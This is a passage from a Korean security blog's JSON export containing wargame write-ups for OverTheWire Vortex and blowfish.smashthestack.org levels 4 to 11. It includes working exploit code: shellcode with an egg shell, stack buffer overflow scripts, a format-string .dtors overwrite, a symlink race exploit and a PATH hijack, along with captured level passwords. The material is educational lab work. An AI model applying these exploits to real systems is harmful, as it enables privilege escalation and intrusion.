관련]\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\policies\\ActiveDesktop\\\n계속 추가 중.......\n","date":"2009-07-06T14:06:08Z","permalink":"/2009/07/06/%EC%95%85%EC%84%B1%EC%BD%94%EB%93%9C%EA%B0%80-%EC%9D%B4%EC%9A%A9%ED%95%98%EB%8A%94-windows-%EB%A0%88%EC%A7%80%EC%8A%A4%ED%8A%B8%EB%A6%AC/","title":"악성코드가 이용하는 Windows Registry"},{"content":"http://www.overthewire.org/wargames/vortex/level0.shtml\nLevel Goal: Your goal is to connect to port 5842 on vortex.labs.pulltheplug.org and read in 4 unsigned integers. Add these integers together and send back the results to get a username and password for level 1. Note: that vortex is on an x86 machine (meaning, a little endian architecture)\n소켓 프로그래밍을 통하여 4개의 unsigned int형 숫자를 읽어 모두 더해서 다시 재전송 해주면 다음 레벨 ID와 Password를 보내준다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/python import socket, struct s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((\u0026#34;vortex.labs.pulltheplug.org\u0026#34;, 5842)) sum = 0 for x in range(4): data = struct.unpack(\u0026#39;\u0026lt;I\u0026#39;, s.recv(4)) sum = sum + data[0] s.send(struct.pack(\u0026#39;\u0026lt;I\u0026#39;, sum)) print s.recv(1024) s.close() Python으로는 struct 모듈에 대한 이해가 필요하다.\nUsername: vortex1 Password: Gq#qu3bF3\n","date":"2009-04-11T21:26:37Z","permalink":"/2009/04/11/vortex-level-0-%ED%92%80%EC%9D%B4/","title":"Vortex - Level 0"},{"content":"\n","date":"2009-03-24T18:26:11Z","permalink":"/2009/03/24/nullroot-%EC%8B%A0%EC%9E%85%ED%9A%8C%EC%9B%90-%EB%AA%A8%EC%A7%91/","title":"NULL@ROOT 2009년 신입회원 모집"},{"content":"Level11 역시 문제 소스가 제공되지 않는다. 문제를 실행하여 보면 세그먼트 폴트 오류만 뜬다. 막막해 하지말고 일단 gdb로 한번 디스어셈블러해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 level11@blowfish:/levels/tmp/geegeegee$ gdb -q /levels/level11 Using host libthread_db library /lib/tls/libthread_db.so.1. (gdb) disassemble main Dump of assembler code for function main: 0x080483f4 \u0026lt;main+0\u0026gt;: push %ebp 0x080483f5 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x080483f7 \u0026lt;main+3\u0026gt;: sub $0x28,%esp 0x080483fa \u0026lt;main+6\u0026gt;: and $0xfffffff0,%esp 0x080483fd \u0026lt;main+9\u0026gt;: mov $0x0,%eax 0x08048402 \u0026lt;main+14\u0026gt;: sub %eax,%esp 0x08048404 \u0026lt;main+16\u0026gt;: movl $0x10,0x8(%esp) 0x0804840c \u0026lt;main+24\u0026gt;: mov 0xc(%ebp),%eax 0x0804840f \u0026lt;main+27\u0026gt;: add $0x8,%eax 0x08048412 \u0026lt;main+30\u0026gt;: mov (%eax),%eax 0x08048414 \u0026lt;main+32\u0026gt;: mov %eax,0x4(%esp) 0x08048418 \u0026lt;main+36\u0026gt;: lea 0xfffffff8(%ebp),%eax 0x0804841b \u0026lt;main+39\u0026gt;: mov %eax,(%esp) 0x0804841e \u0026lt;main+42\u0026gt;: call 0x804830c \u0026lt;strncpy@plt\u0026gt; 0x08048423 \u0026lt;main+47\u0026gt;: lea 0xfffffff8(%ebp),%eax 0x08048426 \u0026lt;main+50\u0026gt;: mov %eax,(%esp) 0x08048429 \u0026lt;main+53\u0026gt;: call 0x80482ec \u0026lt;strlen@plt\u0026gt; 0x0804842e \u0026lt;main+58\u0026gt;: cmp $0x7,%eax 0x08048431 \u0026lt;main+61\u0026gt;: jne 0x804844a \u0026lt;main+86\u0026gt; 0x08048433 \u0026lt;main+63\u0026gt;: mov 0xc(%ebp),%eax 0x08048436 \u0026lt;main+66\u0026gt;: add $0x4,%eax 0x08048439 \u0026lt;main+69\u0026gt;: mov (%eax),%eax 0x0804843b \u0026lt;main+71\u0026gt;: mov %eax,0x4(%esp) 0x0804843f \u0026lt;main+75\u0026gt;: lea 0xfffffff8(%ebp),%eax 0x08048442 \u0026lt;main+78\u0026gt;: mov %eax,(%esp) 0x08048445 \u0026lt;main+81\u0026gt;: call 0x804831c \u0026lt;strcpy@plt\u0026gt; 0x0804844a \u0026lt;main+86\u0026gt;: leave 0x0804844b \u0026lt;main+87\u0026gt;: ret 0x0804844c \u0026lt;main+88\u0026gt;: nop 0x0804844d \u0026lt;main+89\u0026gt;: nop 0x0804844e \u0026lt;main+90\u0026gt;: nop 0x0804844f \u0026lt;main+91\u0026gt;: nop End of assembler dump. (gdb) main+58을 보면 eax가 7인지를 체크하고 그이후에 분기문으로 들어감을 알 수 있다. 좀 더 자세히 분석하기 위해 sftp로 바이너리 파일을 다운로드 받은 후 IDA로 분석을 해보자.\nIDA에서 디스어셈블러한 부분 중 중요한 부분 일부분 이다. 헥스레이로 변환하여 보면 더 이해가 빠르다.\n자. 이제 어느정도 코드가 파악이 된다. argv[2]에 문자 7개를 입력하여 if문을 만족시킨 후에 argv[1]를 이용하여 BOF공격을 해야 함을 알 수 있다.\n일단 공격전 EGG쉘을 띄우자. EGG쉘 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = \\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80 \\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80; unsigned long get_esp(void) { __asm__(movl %esp,%eax); } int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc \u0026gt; 1) bsize = atoi(argv[1]); if (argc \u0026gt; 2) offset = atoi(argv[2]); if (argc \u0026gt; 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf(Can\u0026#39;t allocate memory.\\n); exit(0); } if (!(egg = malloc(eggsize))) { printf(Can\u0026#39;t allocate memory.\\n); exit(0); } addr = get_esp() - offset; printf(Using address: 0x%x\\n, addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i \u0026lt; bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i \u0026lt; eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i \u0026lt; strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = \u0026#39;\\0\u0026#39;; egg[eggsize - 1] = \u0026#39;\\0\u0026#39;; memcpy(egg,EGG=,4); putenv(egg); memcpy(buff,RET=,4); putenv(buff); system(/bin/sh); } 이제 EGG쉘을 실행하여 공격을 해보도록 하자.\n1 2 3 4 5 6 7 level11@blowfish:/levels/tmp/geegeegee$ ./egg Using address: 0xbfffd9f8 sh-3.1$ /levels/level11 `python -c print \u0026#39;A\u0026#39;*12 + \u0026#39;\\xf8\\xd9\\xff\\xbf\u0026#39; + \u0026#39; \u0026#39; + \u0026#39;A\u0026#39;*7` sh-3.1$ id uid=1013(level11) gid=1013(level11) euid=1014(level12) groups=1013(level11) sh-3.1$ cat /pass/level12 em_kcuF ","date":"2009-03-21T23:03:53Z","permalink":"/2009/03/21/blowfishsmashthestackorg-level11-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level11 풀이"},{"content":"Level10 문제는 아주 간단한 문제이다. 먼저 문제 파일을 실행하여 보자.\nWould you like to play a game?\n실행하면 먼저 화면이 clear되고 위와 같은 메세지가 나온다. 여기서 우리는 해당 문제파일이 clear 명령어를 이용하고 있다는 것으로 짐작할 수 있다. strings 명령어를 이용하여 문제 파일의 문자열을 확인하여 보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 strilevel10@blowfish:~$ strings /levels/level10 /lib/ld-linux.so.2 _Jv_RegisterClasses __gmon_start__ libc.so.6 printf geteuid fgets execl system sleep stdin _IO_stdin_used __libc_start_main strlen setuid GLIBC_2.0 PTRhP QVh$ [^_] y0_y0_c0ngra7s clear Would you like to play a game? Incorrect password! Goodbye! Good job! Spawning shell... /bin/sh level10@blowfish:~$ \\ clear라는 단어가 있는걸 봐서 clear 명령어를 사용하는 것이 맞는거 같다. 그럼 이제 우리는 clear라는 파일을 만들어서 환경변수 PATH를 수정하여 우리가 만든 clear 파일을 실행할 수 있을것이다.\n가짜 clear 파일을 /levels/tmp/geegeegee 폴더내에 작성하자\n1 2 3 #!/usr/bin/python import os os.system(\u0026#39;/bin/cat /pass/level11\u0026#39;) PATH 환경변수를 수정하자.\n1 export PATH=\u0026#39;/levels/tmp/geegeegee/\u0026#39;``` 문제파일 실행!\n1 2 3 level10@blowfish:/levels/tmp/geegeegee$ /levels/level10 phj33r_tuX Would you like to play a game? ","date":"2009-03-21T22:28:47Z","permalink":"/2009/03/21/blowfishsmashthestackorg-level10-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level10 풀이"},{"content":"Level9로 접속하여 README 파일을 읽어보면 다음과 같다.\nThis level is a race condition. There is no source. Use /levels/tmp. Good Luck!\n레이스 컨디션 문제이다. /levels/level9 를 실행하여 보면 다음과 같다.\n1 2 level9@blowfish:/levels/tmp/level9$ /levels/level9 usage : /levels/level9 file message 파일과 메세지를 입력하라고 한다. 여기서 존재하지 않는 파일을 명시하고 아무 메세지나 입력하게 되면 다음과 같이 출력이 된다.\n1 2 3 level9@blowfish:/levels/tmp/level9$ /levels/level9 /levels/tmp/nothing gee! Write Ok gee! Write OK 라는 메세지가 나온 후 약 2초 정도 지난후에 우리가 입력한 메세지가 나온다. 이 약간의 지연시간때 우리는 심볼릭 링크를 통해 공격을 할 수 있게 된다. 그럼 공격코드를 작성해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/usr/bin/python import os, time ret = os.fork() if(ret == 0): print \u0026#39;I\\\u0026#39;m son.\u0026#39; time.sleep(1) print \u0026#39;wake up!\u0026#39; os.remove(\u0026#39;/levels/tmp/level9/ln\u0026#39;) os.symlink(\u0026#39;/pass/level10\u0026#39;, \u0026#39;/levels/tmp/level9/ln\u0026#39;) else: print \u0026#39;I\\\u0026#39;m parent\u0026#39; os.symlink(\u0026#39;/levels/tmp/geegee\u0026#39;, \u0026#39;/levels/tmp/level9/ln\u0026#39;) os.system(\u0026#39;/levels/level9 /levels/tmp/level9/ln gee\u0026#39;) 실행하면 다음과 같다.\n1 2 3 4 5 6 level9@blowfish:/levels/tmp/level9$ ./ex.py I\u0026#39;m son. I\u0026#39;m parent Write Ok wake up! error:U_sux0rZ ","date":"2009-03-21T22:17:26Z","permalink":"/2009/03/21/blowfishsmashthestackorg-level9-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level9 풀이"},{"content":"Level8 문제 소스를 보면 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { char buffer[64]; char *pointer = changeme; if(argc \u0026lt; 3) return -1; strncpy(buffer, argv[3], sizeof(buffer)-1); printf(\\n\\tpointer: ); printf(pointer); printf(\\n\\tinput: ); printf(buffer); printf(\\n\\n); return 0; } printf(buffer); 와 같이 printf() 함수를 저렇게 사용하였을시에 FSB(Format String Bug)가 일어난다. 일단 공격 전에 필요한 정보들을 알아보도록 하자.\n스택과의 거리 계산\n1 2 3 4 level8@blowfish:/levels/tmp/gggg$ /levels/level8 B B AAAA%x%x%x%x%x%x%x%x pointer: changeme input: AAAAbfffdbbd2b656e6f6e290bfffdbaa804856441414141``` %x를 8개 입력하였을 때 \\x41(A)가 출력함을 확인하였다.\n리턴주소 찾기 .dtors를 이용하여 공격하도록 하자. .dtors에 대한 내용은 여기를 참고하도록 하자 (http://hdp.null2root.org/system/amadohack_fs.txt) 1 2 3 4 5 6 level8@blowfish:/levels/tmp/gggg$ objdump -s -j .dtors /levels/level8 /levels/level8: file format elf32-i386 Contents of section .dtors: 8049668 ffffffff 00000000 ........ .dtors 주소가 0x08049668 이므로 Cleanup 함수의 위치는 4byte를 더한 0x0804966C가 된다.\n에그쉘 실행 및 계산 먼저 에그쉘을 실행하도록 하자. 1 2 level8@blowfish:/levels/tmp/gggg$ ./egg Using address: 0xbfffd9f8 에그쉘 주소가 0xbfffd9f8로 나왔다. 이 에그쉘 주소를 반으로 나누어 덮어쓸 것이다. 1bfff - d9f8 = 58887\n55800(d9f8) - 16 - 56 = 55728 16 = AAAA \\x6c\\x96\\x04\\x08 BBBB \\x6e\\x96\\x04\\x08 56 = %8x * 7\n완성된 코드는 다음과 같다.\n1 python -c print \u0026#39;AAAA\\x6c\\x96\\x04\\x08BBBB\\x6e\\x96\\x04\\x08\u0026#39; + \u0026#39;%8x\u0026#39;*7 + \u0026#39;%55728c%x%58887c%x\u0026#39; 이제 공격을 해보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 sh-3.1$ /levels/level8 A A `python -c print \u0026#39;AAAA\\x6c\\x96\\x04\\x08BBBB\\x6e\\x96\\x04\\x08\u0026#39; + \u0026#39;%8x\u0026#39;*7 + \u0026#39;%55728c%n%58887c%n\u0026#39;` pointer: changeme input: AAAAl?BBBBn?bfffd1ad 8656e6f6e 29 0bfffd19a 8048564 . . . sh-3.1$ id uid=1010(level8) gid=1010(level8) euid=1011(level9) groups=1010(level8) sh-3.1$ cat /pass/level9 Ur_t3h_sh1t ","date":"2009-03-17T14:56:15Z","permalink":"/2009/03/17/blowfishsmashthestackorg-level8-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level8 풀이"},{"content":"Level7의 소스는 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int main(int argc, char *argv[]) { int i; char buffer[32]; //char *key1 = /; char *p1, *p2, *p3, *p4, *p5; char key2[2], key3[2], key4[2], key5[2]; // if(argc != 2) // return -1; for(i = 1; i \u0026lt; argc; i++) { memset(argv[i], 0, strlen(argv[i])); } sprintf(key2, %c, 0x90); // nop sprintf(key3, %c, 0xeb); // jmp sprintf(key4, %c, 0xcd); // int sprintf(key5, %c, 0xff); // still easy //p1 = strstr(argv[0], key1); p2 = strstr(argv[0], key2); p3 = strstr(argv[0], key3); p4 = strstr(argv[0], key4); p5 = strstr(argv[0], key5); if (p2 != NULL || p3 != NULL || p4 != NULL || p5 != NULL) { printf(Access denied.\\n); return -1; } else { printf(Access granted.\\n); } strcpy(buffer, argv[0]); return 0; } strcpy(buffer, argv[0]); 부분에서 BOF가 발생함을 알 수 있다. 하지만 argv[0] 인자로 \\x90, \\xeb, \\xcd, \\xff가 들어가면 안된다는 것을 알 수 있다. 그럼 이제 우린 쉘코드 주소를 환경변수에 올리고 그 환경변수의 주소를 위에서 체크하는 값이 포함되지 않는 주소에 위치시켜야 한다.\n환경변수의 주소를 구하는 코드는 다음과 같다.\n1 2 3 4 5 6 7 8 #include\u0026lt;stdio.h\u0026gt; int main() { char env[10]; scanf(%s, env); printf(x%x\\n, getenv(env)); return 0; } 이제 NOP + Shellcode로 구성된 환경변수를 등록하도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 level7@blowfish:/levels/tmp/1234$ export SH=`python -c print \u0026#39;\\x90\u0026#39;*20000 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;` level7@blowfish:/levels/tmp/1234$ ./a.out SH 0xbfff90d0 level7@blowfish:/levels/tmp/1234$ export SH1=`python -c print \u0026#39;\\x90\u0026#39;*20000 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;` level7@blowfish:/levels/tmp/1234$ ./a.out SH1 0xbfff3f61 level7@blowfish:/levels/tmp/1234$ export SH2=`python -c print \u0026#39;\\x90\u0026#39;*20000 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;` level7@blowfish:/levels/tmp/1234$ ./a.out SH2 0xbffef11e level7@blowfish:/levels/tmp/1234$ 환경변수를 3개 정도 등록했을때 \\xff가 나오지 않는 환경변수의 주소가 나왔다. 이제 공격을 해보도록 하자.\n1 2 3 4 5 #!/usr/bin/python import os bof = \u0026#39;A\u0026#39;*60 + \u0026#39;\\x1e\\xf1\\xfe\\xbf\u0026#39; os.execl(\u0026#39;/levels/level7\u0026#39;, bof) 1 2 3 4 5 6 level7@blowfish:/levels/tmp/1234$ ./ex.py Access granted. sh-3.1$ id uid=1009(level7) gid=1009(level7) euid=1010(level8) groups=1009(level7) sh-3.1$ cat /pass/level8 w3ll_d0n3! ","date":"2009-03-17T11:13:05Z","permalink":"/2009/03/17/blowfishsmashthestackorg-level7-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level7 풀이"},{"content":"문제 코드는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int badfunc(char *string1, char *string2) { char buffer1[1024]; char buffer2[1024]; if(strlen(string1)\u0026gt;=sizeof(buffer1)) { printf(\\n\\t(!) overflow detected.\\n); printf(\\t(-) exiting...\\n\\n); return -1; } else { printf(\\n\\t(+) copying string1 into the buffer...); snprintf(buffer1,sizeof(buffer1),%s,string1); printf(\\t\\t[done] (%d)\\n, strlen(buffer1)); } if(strlen(string2)\u0026gt;=sizeof(buffer2)*3) { printf(\\n\\t(!) overflow detected.\\n); printf(\\t(-) exiting...\\n\\n); return -1; } else { printf(\\t(+) copying string2 into the buffer...); snprintf(buffer2,sizeof(buffer1)*3,%s,string2); printf(\\t\\t[done] (%d)\\n\\n, strlen(buffer2)); } return 0; } int main(int argc, char *argv[]) { if(argc != 3) return -1; badfunc(argv[2], argv[1]); return 0; } 코드를 보면 사이즈를 체크하여 오버플로우를 탐지한다. 하지만 아래 인자를 변수에 복사할때 3배를 크기 만큼 넣도록 구성되어 있다. 해당 부분에서 오버플로우가 나타남을 알 수 있다.\n그럼 공격을 해보도록 하자. 우선 NOP와 Shellcode를 환경변수에 등록을 한 후 주소를 확인하도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 level6@blowfish:/tmp/byjjoon$ export SHELLCODE=`python -c print \u0026#39;\\x90\u0026#39;*100 + \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39;` level6@blowfish:/tmp/byjjoon$ gdb /levels/level6 GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type show copying and show warranty for details. This GDB was configured as i486-linux-gnu... (gdb) b main Breakpoint 1 at 0x8048522 (gdb) r Starting program: /levels/level6 Breakpoint 1, 0x08048522 in main () (gdb) x/32wx $esp 0xbfffd7f0: 0x009ce250 0x08048330 0xbfffd808 0x00cebff4 0xbfffd800: 0x08048570 0x08048330 0xbfffd868 0x00bc8455 0xbfffd810: 0x00000001 0xbfffd894 0xbfffd89c 0x00a48088 0xbfffd820: 0x00000001 0x00000001 0x00000000 0x08048242 0xbfffd830: 0x00cebff4 0x08048570 0x08048330 0xbfffd868 0xbfffd840: 0xebb02081 0x6d0835ff 0x00000000 0x00000000 0xbfffd850: 0x00000000 0x009d32e0 0x00bc837d 0x009daff4 0xbfffd860: 0x00000001 0x08048330 0x00000000 0x08048351 (gdb) 0xbfffd870: 0x0804851c 0x00000001 0xbfffd894 0x08048570 0xbfffd880: 0x080485d0 0x009ce250 0xbfffd88c 0x009d8ae5 0xbfffd890: 0x00000001 0xbfffd98e 0x00000000 0xbfffd99d 0xbfffd8a0: 0xbfffda2a 0xbfffda3a 0xbfffda45 0xbfffda67 0xbfffd8b0: 0xbfffda7a 0xbfffda86 0xbfffdeaf 0xbfffdebb 0xbfffd8c0: 0xbfffdee8 0xbfffdefe 0xbfffdf0d 0xbfffdf1e 0xbfffd8d0: 0xbfffdf2f 0xbfffdf38 0xbfffdf4f 0xbfffdf61 0xbfffd8e0: 0xbfffdf69 0xbfffdf78 0xbfffdfab 0xbfffdfcb (gdb) 0xbfffd8f0: 0x00000000 0x00000010 0xbfebfbff 0x00000006 0xbfffd900: 0x00001000 0x00000011 0x00000064 0x00000003 0xbfffd910: 0x08048034 0x00000004 0x00000020 0x00000005 0xbfffd920: 0x00000007 0x00000007 0x009c0000 0x00000008 0xbfffd930: 0x00000000 0x00000009 0x08048330 0x0000000b 0xbfffd940: 0x000003f0 0x0000000c 0x000003f0 0x0000000d 0xbfffd950: 0x000003f0 0x0000000e 0x000003f0 0x00000017 0xbfffd960: 0x00000000 0x0000000f 0xbfffd97b 0x00000000 (gdb) 0xbfffd970: 0x00000000 0x00000000 0x69000000 0x00363836 0xbfffd980: 0x00000000 0x00000000 0x00000000 0x6c2f0000 0xbfffd990: 0x6c657665 0x656c2f73 0x366c6576 0x45485300 0xbfffd9a0: 0x4f434c4c 0x903d4544 0x90909090 0x90909090 0xbfffd9b0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffd9c0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffd9d0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffd9e0: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) 0xbfffd9f0: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffda00: 0x90909090 0x90909090 0x6a909090 0xdb315817 0xbfffda10: 0x0b6a80cd 0x68529958 0x68732f2f 0x69622f68 0xbfffda20: 0x52e3896e 0xcde18953 0x48530080 0x3d4c4c45 0xbfffda30: 0x6e69622f 0x7361622f 0x45540068 0x6c3d4d52 0xbfffda40: 0x78756e69 0x48535300 0x494c435f 0x3d544e45 0xbfffda50: 0x2e313132 0x2e383132 0x312e3631 0x38203337 0xbfffda60: 0x20323937 0x53003232 0x545f4853 0x2f3d5954 (gdb) 0xbfffda70: 0x2f766564 0x2f737470 0x53550031 0x6c3d5245 0xbfffda80: 0x6c657665 0x534c0036 0x4c4f435f 0x3d53524f 0xbfffda90: 0x303d6f6e 0x69663a30 0x3a30303d 0x303d6964 0xbfffdaa0: 0x34333b31 0x3d6e6c3a 0x333b3130 0x69703a36 0xbfffdab0: 0x3b30343d 0x733a3333 0x31303d6f 0x3a35333b 0xbfffdac0: 0x303d6f64 0x35333b31 0x3d64623a 0x333b3034 0xbfffdad0: 0x31303b33 0x3d64633a 0x333b3034 0x31303b33 0xbfffdae0: 0x3d726f3a 0x333b3034 0x31303b31 0x3d75733a NOP가 나오는 위치를 적당히 잡아서 주소로 사용하자. 잡은 주소는 0xbfffd9d0 이다. 이제 공격 코드를 작성하여 공격해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 level6@blowfish:/tmp/byjjoon$ cat level6.py #!/usr/bin/python import os ret = \u0026#39;\\xd0\\xd9\\xff\\xbf\u0026#39; # 0xbfffd9d0 a = ret * 600 b = \u0026#39;b\u0026#39; * 1 os.system(\u0026#39;/levels/level6 \u0026#39; + a + \u0026#39; \u0026#39; + b) level6@blowfish:/tmp/byjjoon$ ./level6.py (+) copying string1 into the buffer... [done] (1) (+) copying string2 into the buffer... [done] (2400) sh-3.2$ id uid=1008(level6) gid=1008(level6) euid=1009(level7) groups=1008(level6) sh-3.2$ cat /pass/level7 g00d_j0b sh-3.2$ ","date":"2009-03-17T11:11:59Z","permalink":"/2009/03/17/blowfishsmashthestackorg-level6-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level6 풀이"},{"content":"Level5의 소스는 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include \u0026lt;stdio.h\u0026gt; int main() { char buffer[1024]; if (getenv(VULN) == NULL) { fprintf(stderr,Try Again!!\\n); exit(1); } strcpy(buffer, (char *)getenv(VULN)); printf(Environment variable VULN is:\\n\\%s\\.\\n\\n, buffer); return 0; } 해당 위치에서 BOF가 발생함을 알수 있다. 하지만 이전 문제와는 다르게 환경변수를 이용하여아 한다. 스택에서 환경변수가 위치하는 주소를 찾아보도록 하자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 level5@blowfish:/levels/tmp/level5$ export VULN=AAAAAAAA level5@blowfish:/levels/tmp/level5$ gdb -q /levels/level5 Using host libthread_db library /lib/tls/libthread_db.so.1. (gdb) b main Breakpoint 1 at 0x804848d (gdb) r Starting program: /levels/level5 Breakpoint 1, 0x0804848d in main () (gdb) x/32wx $esp 0xbfffd630: 0xbfffd640 0x008e6eb3 0x008d7543 0x008ecff4 0xbfffd640: 0xbfffd714 0x008ed1e0 0x00000006 0x00000000 0xbfffd650: 0x00000000 0x008d772c 0xbfffd65c 0x000001c7 0xbfffd660: 0x008ed010 0x00177fa0 0x00000000 0x008d7582 0xbfffd670: 0x080482fc 0x006d5338 0x008d71cc 0x00000000 0xbfffd680: 0x008d73fc 0x00000000 0x008ecf8c 0x00000005 0xbfffd690: 0x009489a8 0x009487ca 0x008d7582 0x008d71cc 0xbfffd6a0: 0x00000004 0x008d73fc 0x00000000 0xbfffd500 (gdb) . . . (gdb) 0xbfffde30: 0x303d6c67 0x35333b31 0x642e2a3a 0x31303d6c 0xbfffde40: 0x3a35333b 0x63782e2a 0x31303d66 0x3a35333b 0xbfffde50: 0x77782e2a 0x31303d64 0x3a35333b 0x6c662e2a 0xbfffde60: 0x303d6361 0x35333b31 0x6d2e2a3a 0x303d3370 0xbfffde70: 0x35333b31 0x6d2e2a3a 0x303d6370 0x35333b31 0xbfffde80: 0x6f2e2a3a 0x303d6767 0x35333b31 0x772e2a3a 0xbfffde90: 0x303d7661 0x35333b31 0x5556003a 0x413d4e4c 0xbfffdea0: 0x41414141 0x00414141 0x554c4f43 0x3d534e4d (gdb) 주소를 찾았으니 이제 공격코드를 작성해 보도록 하자.\n1 2 3 4 5 6 7 8 9 10 #!/usr/bin/python import os ret = \u0026#39;\\xa0\\xde\\xff\\xbf\u0026#39; nop = \u0026#39;\\x90\u0026#39; shellcode = \u0026#39;\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\\x6a\\x0b\\x58\\x99\\x52\\x68//sh\\x68/bin\\x89\\xe3\\x52\\x53\\x89\\xe1\\xcd\\x80\u0026#39; # len = 30 payload = nop*1006 + shellcode + ret os.environ[\u0026#39;VULN\u0026#39;] = payload os.execl(\u0026#39;/levels/level5\u0026#39;, \u0026#39;level5\u0026#39;) 1 2 3 4 5 6 7 8 9 level5@blowfish:/levels/tmp/level5$ ./level5.py Environment variable VULN is: ??????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????jX1?€j X?Rh//shh/bin??????¿. sh-3.1$ id uid=1007(level5) gid=1007(level5) euid=1008(level6) groups=1007(level5) sh-3.1$ cat /pass/level6 ur_so_l33t ","date":"2009-03-16T20:33:42Z","permalink":"/2009/03/16/blowfishsmashthestackorg-level5-%ED%92%80%EC%9D%B4/","title":"blowfish.smashthestack.org - Level5 풀이"},{"content":"Level4 부터는 /levels 폴더 이하에 있는 파일을 이용하여 문제풀이를 한다.\nlevel4.c 파일을 확인해보면 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #include \u0026lt;stdio.h\u0026gt; int main(int argc, char * argv[]) { char buf[256]; if(argc == 1) { printf(Usage: %s input\\n, argv[0]); exit(0); } strcpy(buf,argv[1]); printf(%s, buf); } 우리는 strcpy 함수부분에서 